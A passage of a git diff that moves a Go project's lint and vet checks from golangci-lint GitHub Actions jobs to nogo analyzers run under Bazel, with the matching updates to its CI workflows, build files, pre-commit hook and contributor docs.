- # scopes the same wrapper to the PR's own diff. - - name: Run PR lint wrapper - env: - BD_LINT_TARGETS: ${{ matrix.target }} - GOCACHE: ${{ runner.temp }}/go-cache/lint-${{ matrix.target }} - run: make ci-pr-lint - - # !cancelled() (not just a cache-hit check): golangci-lint's own cache is - # content-addressed and GOCACHE is unaffected by lint findings, so it is - # safe -- and worth keeping -- to save even when the lint step itself - # fails (SF-1). Without this, a red lint run on main never warms the - # cache and every PR leg stays cold. - - name: Save golangci-lint cache - if: ${{ !cancelled() && steps.restore-golangci-lint-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/.cache/golangci-lint - ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} - key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - # macOS full -race -short suite. Linux runs the same suite under Bazel # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), # and Windows uses smoke tests below; rbe-west has no macOS workers, so this @@ -642,12 +558,11 @@ jobs: # runners cannot see caches `actions/cache` saved from a GitHub-hosted # runner (and vice versa) even for an identical key, so the `venue` matrix # dimension here seeds the Blacksmith selection too -- same reasoning as - # pr-lint-wrapper/go-vet-cache above and windows-test-binaries-cache's - # `runner` matrix. + # windows-test-binaries-cache's `runner` matrix. test-windows: name: Test (Windows - smoke, ${{ matrix.venue }}) # F7b review fix (B2): added the repository check to match - # blacksmith-go-build-cache/pr-lint-wrapper/go-vet-cache's convention + # blacksmith-go-build-cache's convention # above (this job's push-to-main guard predates F7b and already had the # event/ref check; the repository check closes the same fork gap F7c's # own blacksmith-setup-go-cache guard closes). Pinned by @@ -766,79 +681,6 @@ jobs: - name: Check gofmt run: make fmt-check - # Warms the vet cache pr.yml's scripts-go-checks vet leg restores (F5.3). - # `go vet` caches successful vet actions, so a warm cache re-vets only - # changed packages and their dependents. Restore-only in pr.yml (§0); this - # push job is the only saver, on an exact-key miss. - # F7b: pr.yml's scripts-go-checks vet leg moved to same-repo Blacksmith; this - # seed needs both runner selections for the same reason pr-lint-wrapper - # above does (Blacksmith and GitHub-hosted runners cannot see each other's - # actions/cache entries, even for an identical key). - # F7b review fix (B2): job-level push-to-main-only guard, same rationale and - # convention as pr-lint-wrapper above. Pinned by - # TestBlacksmithSaverJobsGuardedAgainstPullRequest. - go-vet-cache: - name: Warm go vet cache - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - venue: [blacksmith, github] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # F7b review fix (S7/Speed): see blacksmith-go-build-cache's identical - # step above for the full rationale -- bounds this saver's writes to at - # most once per UTC calendar day per go.sum, not once per push. - - name: Compute cache date - id: cache-date - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore vet Go build cache - id: restore-vet-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/vet - key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # The non-race build cache fallback this used to list can never hit: - # actions/cache versions an entry by its path list, and that cache - # saves to a different path (.../go-cache/non-race), so the prefix - # match is always filtered out (SF-5). - restore-keys: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet- - - - name: Go vet with go test's checks - env: - GOCACHE: ${{ runner.temp }}/go-cache/vet - run: bash scripts/ci/go-test-vet.sh - - # build-artifacts is the module cache's sole saver (same key); this job - # only restores it to warm the vet run, and only saves its own cache. - # !cancelled(): go vet's cache is content-addressed, so it is safe to - # save even when the vet step itself fails (SF-1). - - name: Save vet Go build cache - if: ${{ !cancelled() && steps.restore-vet-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/vet - key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # F7b: the saver for the race and non-race GOCACHEs that same-repo-PR # (Blacksmith, blacksmith-4vcpu-ubuntu-2404) jobs restore: the non-race one # for pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu @@ -965,7 +807,7 @@ jobs: # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, # and Blacksmith and GitHub-hosted runners cannot see each other's # actions/cache entries, so the `venue` matrix seeds both (same convention as - # pr-lint-wrapper/go-vet-cache/test-windows). This job is their only seeder + # test-windows). This job is their only seeder # (and the Blacksmith leg also seeds the `test` job's module and non-race # caches), and runs only the shared warm-up those legs compile # (warm-non-race-cache.sh, the same script the Linux/Windows seeders use) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 72eb4637b..c59e727a6 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1075,8 +1075,8 @@ jobs: # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / # test (`bazel test //... --config=ci`, the same selection, checked by its - # equivalence step) runs it, and scripts-go-checks runs what Bazel does not - # (go test's vet). + # equivalence step) runs it, and nogo (//tools/nogo) runs go test's vet + # checks beside every compile of that lane. pr-core-wrapper: name: PR Core (wrapper timing) runs-on: ubuntu-latest @@ -1136,122 +1136,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/race run: make ci-pr-core - # PR Core's duty the Bazel lanes do not take over (D2 step 3), on every PR - # whatever bazel-coverage says: go test's own vet checks over ./... - # (rules_go's go_test runs none). The repository policy tests in - # ./scripts/... and the source-walking tests run under Bazel - # (//scripts:scripts_test, //test/docsync over //:repo_files), remotely. - # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo - # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot, same - # pattern as advisory-reports/pr-core-wrapper above. - # main.yml's go-vet-cache venue matrix seeds the vet leg's GOCACHE. - scripts-go-checks: - name: Go checks (${{ matrix.check }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - check: [vet] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore vet Go build cache - if: matrix.check == 'vet' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/vet - key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ github.sha }} - # The non-race build cache fallback this used to list can never hit: - # actions/cache versions an entry by its path list, and that cache - # saves to a different path (.../go-cache/non-race), so the prefix - # match is always filtered out (SF-5). - restore-keys: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet- - - - name: Go vet with go test's checks - if: ${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }} - env: - GOCACHE: ${{ runner.temp }}/go-cache/vet - run: bash scripts/ci/go-test-vet.sh - - # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo - # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot. - # main.yml's pr-lint-wrapper `venue` matrix seeds this leg's golangci-lint - # and lint-native GOCACHEs. - pr-lint-wrapper: - name: PR Lint (${{ matrix.target }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 20 - permissions: - contents: read - strategy: - fail-fast: false - matrix: - target: [native, windows, darwin] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - # --new-from-merge-base below walks real history. - fetch-depth: 0 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install golangci-lint - run: ./scripts/ci/install-golangci-lint.sh - - # Keyed on file content and the leg; a miss on the exact content key - # falls back to the leg's most recent entry, which golangci-lint - # revalidates against the current config and inputs. pr.yml never saves - # this cache (§0); main.yml's pr-lint-wrapper matrix is the only saver, - # on an exact-key miss. The key omits the sha (SF-4) so main.yml only - # saves when .golangci.yml or go.sum change. - - name: Restore golangci-lint cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/.cache/golangci-lint - ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} - key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - restore-keys: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}- - - # Scope the wrapper's lint to what this PR introduces, matching the - # (now-deleted) `lint` job's only-new-issues scope. main.yml runs the - # same wrapper with this unset, so the whole tree is still swept on - # every push to main. Both PR triggers (pull_request, merge_group) - # target main. - - name: Run PR lint wrapper - env: - BD_LINT_NEW_FROM_MERGE_BASE: origin/main - BD_LINT_TARGETS: ${{ matrix.target }} - GOCACHE: ${{ runner.temp }}/go-cache/lint-${{ matrix.target }} - run: make ci-pr-lint - # F7a: fold of build-examples + complexity-report, the two pr.yml jobs that # are advisory-only (not in ci-gate's needs/CI_GATE_REQUIRED) and restore no # GitHub-saved build cache, onto one Blacksmith runner for same-repo @@ -2089,8 +1973,6 @@ jobs: - check-doc-freshness-platforms - pr-preflight-platforms - pr-core-wrapper - - scripts-go-checks - - pr-lint-wrapper - windows-make-shell - bazel - bazel-coverage @@ -2113,8 +1995,6 @@ jobs: PACKAGE_MCP PACKAGE_NPM PR_CORE_WRAPPER - SCRIPTS_GO_CHECKS - PR_LINT_WRAPPER WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -2162,8 +2042,6 @@ jobs: PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} - SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} - PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that # did not report (skipped, or lost before its last step) reads as diff --git a/.golangci.yml b/.golangci.yml index 2298aebf6..5af1120fe 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -1,3 +1,9 @@ +# Lint policy for nogo (//tools/nogo), which runs these linters beside every +# Bazel Go compile: tools/nogo/internal/golangci embeds this file and applies +# it as golangci-lint v2.10.1 would (enabled linters, settings, run.tests, +# generated files, exclusion rules). Decoding is strict, so a key the nogo +# wrappers do not implement fails the build. golangci-lint itself still reads +# it (editors, ad-hoc runs), but CI gates on nogo; see engdocs/LINTING.md. version: "2" run: diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index fc8edcbea..fa008964c 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,9 +1,15 @@ repos: - - repo: https://github.com/golangci/golangci-lint - rev: v2.10.1 + # Lint and vet: nogo (//tools/nogo) over the changed files' Bazel packages, + # the analyzers CI gates on (go test's vet checks plus the golangci-lint + # linters .golangci.yml enables). Needs bazel or bazelisk on PATH. + - repo: local hooks: - - id: golangci-lint - args: [--timeout=5m] + - id: nogo + name: nogo (bazel) + entry: make lint-changed LINT_CHANGED_SCOPE=staged + language: system + types: [go] + pass_filenames: false - repo: https://github.com/pre-commit/pre-commit-hooks rev: v6.0.0 diff --git a/AGENTS.md b/AGENTS.md index 5a0eabfff..b16a6db78 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -105,7 +105,7 @@ spans layers. See ```bash make install # build and install bd to ~/.local/bin (canonical) make test # unit tests with the right build tags -make ci-pr-lint # required zero-finding formatting + lint contract +make ci-pr-lint # required zero-finding lint + vet contract (nogo under Bazel) make check-docs # doc flag, freshness, and docsync checks make bazel-sync # after adding/removing/renaming Go files or changing imports/go.mod ``` diff --git a/BUILD.bazel b/BUILD.bazel index 1cb1bcf75..339780621 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -22,7 +22,6 @@ gazelle(name = "gazelle") exports_files( [".buildflags"], visibility = [ - "//scripts/pr-lint:__pkg__", "//scripts/prlintmake:__pkg__", "//tests/upgrade_smoke:__pkg__", ], @@ -33,6 +32,15 @@ exports_files([ "go.sum", ]) +# The golangci-lint configuration nogo applies (//tools/nogo), and its test. +exports_files( + [".golangci.yml"], + visibility = [ + "//tools/nogo:__pkg__", + "//tools/nogo/internal/golangci:__pkg__", + ], +) + # Repository files read by source-scanning tests, declared as their `data` so # the tests run under `bazel test` and remote execution. exports_files( @@ -382,6 +390,18 @@ filegroup( "//third_party/patches:repo_files", "//tools/bazel:repo_files", "//tools/docsmint:repo_files", + "//tools/nogo:repo_files", + "//tools/nogo/analyzers/depguard:repo_files", + "//tools/nogo/analyzers/errcheck:repo_files", + "//tools/nogo/analyzers/forbidigo:repo_files", + "//tools/nogo/analyzers/gosec:repo_files", + "//tools/nogo/analyzers/misspell:repo_files", + "//tools/nogo/analyzers/sloglint:repo_files", + "//tools/nogo/analyzers/unconvert:repo_files", + "//tools/nogo/analyzers/unparam:repo_files", + "//tools/nogo/internal/analyzertest:repo_files", + "//tools/nogo/internal/golangci:repo_files", + "//tools/nogo/internal/position:repo_files", ], visibility = [ "//scripts:__pkg__", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3fa5b2b03..214bfc13c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -56,7 +56,8 @@ area is reviewed first. - Go (see `go.mod` for the required version; currently 1.26+) - Git - A C compiler (CGO is required for the embedded Dolt database) -- golangci-lint v2.10.1 for the required local lint gate +- [Bazelisk](https://github.com/bazelbuild/bazelisk) (installed as `bazel`) for + the required lint and vet gate (`make ci-pr-lint`) and the pre-commit hook - ICU headers are **not required** for building -- see [engdocs/ICU-POLICY.md](engdocs/ICU-POLICY.md) ### Getting Started @@ -91,7 +92,7 @@ beads/ │ ├── types/ # Core data types (Issue, Dependency, etc.) │ └── storage/ # Storage interface and implementations │ └── dolt/ # Dolt database backend -├── .golangci.yml # Linter configuration +├── .golangci.yml # Linter configuration (applied by nogo, tools/nogo) └── .github/workflows/ # CI/CD pipelines ``` @@ -114,23 +115,24 @@ We follow standard Go conventions: ### Linting -Use the same pinned golangci-lint version and repository-owned wrapper as CI: +Lint and vet run as nogo under Bazel: go test's vet checks plus the +golangci-lint linters `.golangci.yml` enables, the same analyzers CI gates on. ```bash -# Install the version pinned by CI -go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1 - -# Run the required formatting and lint contract +# Run the required lint and vet gate (native, windows and darwin) make ci-pr-lint + +# Faster: only the Bazel packages of your changed Go files +make lint-changed ``` -`make ci-pr-lint` must pass with zero issues. It checks formatting, lints the -repository's normal `gms_pure_go` build, and cross-lints Windows-only non-CGO -code. Accepted intentional patterns are encoded narrowly in `.golangci.yml`; -do not ignore a failing baseline. See [engdocs/LINTING.md](engdocs/LINTING.md) -for the full policy. +`make ci-pr-lint` must pass with zero issues. It analyzes the repository's +normal `gms_pure_go` build and cross-checks the Windows- and macOS-only +non-cgo code. Accepted intentional patterns are encoded narrowly in +`.golangci.yml`; do not ignore a failing baseline. See +[engdocs/LINTING.md](engdocs/LINTING.md) for the full policy. -CI runs the same required wrapper on all pull requests. +CI runs the same analyzers on all pull requests, in the Bazel test lane. ## Making Changes diff --git a/MODULE.bazel b/MODULE.bazel index f1e05a64c..9cd65e6fc 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -5,6 +5,18 @@ module( bazel_dep(name = "platforms", version = "1.1.0") bazel_dep(name = "rules_go", version = "0.63.0") + +# nogo honors //nolint directives through ast.CommentMap ranges, which differ +# from golangci-lint's (a comment trailing `func f(...) {` attaches to the +# body's first statement). This tree's directives were written against +# golangci-lint, so the patch adds golangci-lint's ranges as well. +single_version_override( + module_name = "rules_go", + patch_strip = 1, + patches = ["//third_party/patches:rules_go_nogo_golangci_nolint.patch"], + version = "0.63.0", +) + bazel_dep(name = "gazelle", version = "0.53.0") bazel_dep(name = "rules_shell", version = "0.6.1") bazel_dep(name = "toolchains_llvm", version = "1.11.0") @@ -158,8 +170,20 @@ go_sdk.download( ) use_repo(go_sdk, "go_sdk") +# nogo: //tools/nogo's analyzers (go test's vet checks plus the golangci-lint +# linters .golangci.yml enables) run beside every first-party Go compile, so +# a finding fails `bazel build`/`bazel test` wherever it executes (RBE +# included). External repos only feed analyzer facts; they are not validated. +go_sdk.nogo( + includes = ["//:__subpackages__"], + nogo = "//tools/nogo", +) + +# gazelle.go.work joins the beads module and the nogo analyzers' module +# (tools/nogo/go.mod) into one dependency graph for Bazel only; `go build` in +# the repository root never reads it (it is not named go.work). go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") -go_deps.from_file(go_mod = "//:go.mod") +go_deps.from_file(go_work = "//:gazelle.go.work") # beads builds go-mysql-server with its stdlib-regex backend (ICU policy): # gazelle must see gms_pure_go as satisfied so it selects regex_pure.go and @@ -193,7 +217,17 @@ go_deps.module_override( patches = ["//third_party/patches:gozstd_nocgo.patch"], path = "github.com/dolthub/gozstd", ) -use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_creack_pty", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") + +# nogo does not analyze the standard library, so ctrlflow has no noReturn +# facts for t.Fatal, log.Fatal, os.Exit, ...; buildssa (unparam) and the vet +# passes then treat them as returning, unlike golangci-lint and go vet. The +# patch makes ctrlflow know those standard-library functions intrinsically. +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:x_tools_ctrlflow_stdlib_noreturn.patch"], + path = "golang.org/x/tools", +) +use_repo(go_deps, "cc_mvdan_unparam", "com_github_anthropics_anthropic_sdk_go", "com_github_ashanbrown_forbidigo_v2", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_creack_pty", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_golangci_misspell", "com_github_golangci_unconvert", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_kisielk_errcheck", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_openpeedeep_depguard_v2", "com_github_securego_gosec_v2", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_go_simpler_sloglint", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term", "org_golang_x_tools") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to # scripts/ci/install-dolt.sh). //tools/bazel:dolt selects the repository for diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index 4e781c838..275b6bfd9 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -24,7 +24,6 @@ "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/MODULE.bazel": "253d739ba126f62a5767d832765b12b59e9f8d2bc88cc1572f4a73e46eb298ca", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/source.json": "ffab9254c65ba945f8369297ad97ca0dec213d3adc6e07877e23a48624a8b456", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.8.1/MODULE.bazel": "812d2dd42f65dca362152101fbec418029cc8fd34cbad1a2fde905383d705838", - "https://bcr.bazel.build/modules/bazel_features/1.1.0/MODULE.bazel": "cfd42ff3b815a5f39554d97182657f8c4b9719568eb7fded2b9135f084bf760b", "https://bcr.bazel.build/modules/bazel_features/1.1.1/MODULE.bazel": "27b8c79ef57efe08efccbd9dd6ef70d61b4798320b8d3c134fd571f78963dbcd", "https://bcr.bazel.build/modules/bazel_features/1.10.0/MODULE.bazel": "f75e8807570484a99be90abcd52b5e1f390362c258bcb73106f4544957a48101", "https://bcr.bazel.build/modules/bazel_features/1.11.0/MODULE.bazel": "f9382337dd5a474c3b7d334c2f83e50b6eaedc284253334cf823044a26de03e8", @@ -65,10 +64,6 @@ "https://bcr.bazel.build/modules/buildozer/8.5.1/source.json": "e3386e6ff4529f2442800dee47ad28d3e6487f36a1f75ae39ae56c70f0cd2fbd", "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/MODULE.bazel": "cdf8cbe5ee750db04b78878c9633cc76e80dcf4416cbe982ac3a9222f80713c8", "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/source.json": "fa7b512dfcb5eafd90ce3959cf42a2a6fe96144ebbb4b3b3928054895f2afac2", - "https://bcr.bazel.build/modules/gazelle/0.32.0/MODULE.bazel": "b499f58a5d0d3537f3cf5b76d8ada18242f64ec474d8391247438bf04f58c7b8", - "https://bcr.bazel.build/modules/gazelle/0.33.0/MODULE.bazel": "a13a0f279b462b784fb8dd52a4074526c4a2afe70e114c7d09066097a46b3350", - "https://bcr.bazel.build/modules/gazelle/0.34.0/MODULE.bazel": "abdd8ce4d70978933209db92e436deb3a8b737859e9354fb5fd11fb5c2004c8a", - "https://bcr.bazel.build/modules/gazelle/0.36.0/MODULE.bazel": "e375d5d6e9a6ca59b0cb38b0540bc9a05b6aa926d322f2de268ad267a2ee74c0", "https://bcr.bazel.build/modules/gazelle/0.51.3/MODULE.bazel": "618a729142f66de1e2cb776d026413763be5b80d5e3d29ffb9d3d90c5defde90", "https://bcr.bazel.build/modules/gazelle/0.53.0/MODULE.bazel": "76158efbaf12e35ae17af02f4a715bc6e7b3b410c693d34f422922ff4a56a925", "https://bcr.bazel.build/modules/gazelle/0.53.0/source.json": "1f5a4dd0399e5a20e0daeaa3ba1f42391a1b909bc3d337f7a62d3216ddbdfad0", @@ -107,13 +102,11 @@ "https://bcr.bazel.build/modules/protobuf/21.7/MODULE.bazel": "a5a29bb89544f9b97edce05642fac225a808b5b7be74038ea3640fae2f8e66a7", "https://bcr.bazel.build/modules/protobuf/27.0/MODULE.bazel": "7873b60be88844a0a1d8f80b9d5d20cfbd8495a689b8763e76c6372998d3f64c", "https://bcr.bazel.build/modules/protobuf/27.1/MODULE.bazel": "703a7b614728bb06647f965264967a8ef1c39e09e8f167b3ca0bb1fd80449c0d", - "https://bcr.bazel.build/modules/protobuf/29.0-rc2.bcr.1/MODULE.bazel": "52f4126f63a2f0bbf36b99c2a87648f08467a4eaf92ba726bc7d6a500bbf770c", "https://bcr.bazel.build/modules/protobuf/29.0-rc2/MODULE.bazel": "6241d35983510143049943fc0d57937937122baf1b287862f9dc8590fc4c37df", "https://bcr.bazel.build/modules/protobuf/29.0-rc3/MODULE.bazel": "33c2dfa286578573afc55a7acaea3cada4122b9631007c594bf0729f41c8de92", "https://bcr.bazel.build/modules/protobuf/29.0/MODULE.bazel": "319dc8bf4c679ff87e71b1ccfb5a6e90a6dbc4693501d471f48662ac46d04e4e", "https://bcr.bazel.build/modules/protobuf/29.1/MODULE.bazel": "557c3457560ff49e122ed76c0bc3397a64af9574691cb8201b4e46d4ab2ecb95", "https://bcr.bazel.build/modules/protobuf/3.19.0/MODULE.bazel": "6b5fbb433f760a99a22b18b6850ed5784ef0e9928a72668b66e4d7ccd47db9b0", - "https://bcr.bazel.build/modules/protobuf/3.19.2/MODULE.bazel": "532ffe5f2186b69fdde039efe6df13ba726ff338c6bc82275ad433013fa10573", "https://bcr.bazel.build/modules/protobuf/3.19.6/MODULE.bazel": "9233edc5e1f2ee276a60de3eaa47ac4132302ef9643238f23128fea53ea12858", "https://bcr.bazel.build/modules/protobuf/32.1/MODULE.bazel": "89cd2866a9cb07fee9ff74c41ceace11554f32e0d849de4e23ac55515cfada4d", "https://bcr.bazel.build/modules/protobuf/33.4/MODULE.bazel": "114775b816b38b6d0ca620450d6b02550c60ceedfdc8d9a229833b34a223dc42", @@ -150,10 +143,6 @@ "https://bcr.bazel.build/modules/rules_cc/0.2.8/MODULE.bazel": "f1df20f0bf22c28192a794f29b501ee2018fa37a3862a1a2132ae2940a23a642", "https://bcr.bazel.build/modules/rules_foreign_cc/0.9.0/MODULE.bazel": "c9e8c682bf75b0e7c704166d79b599f93b72cfca5ad7477df596947891feeef6", "https://bcr.bazel.build/modules/rules_fuzzing/0.5.2/MODULE.bazel": 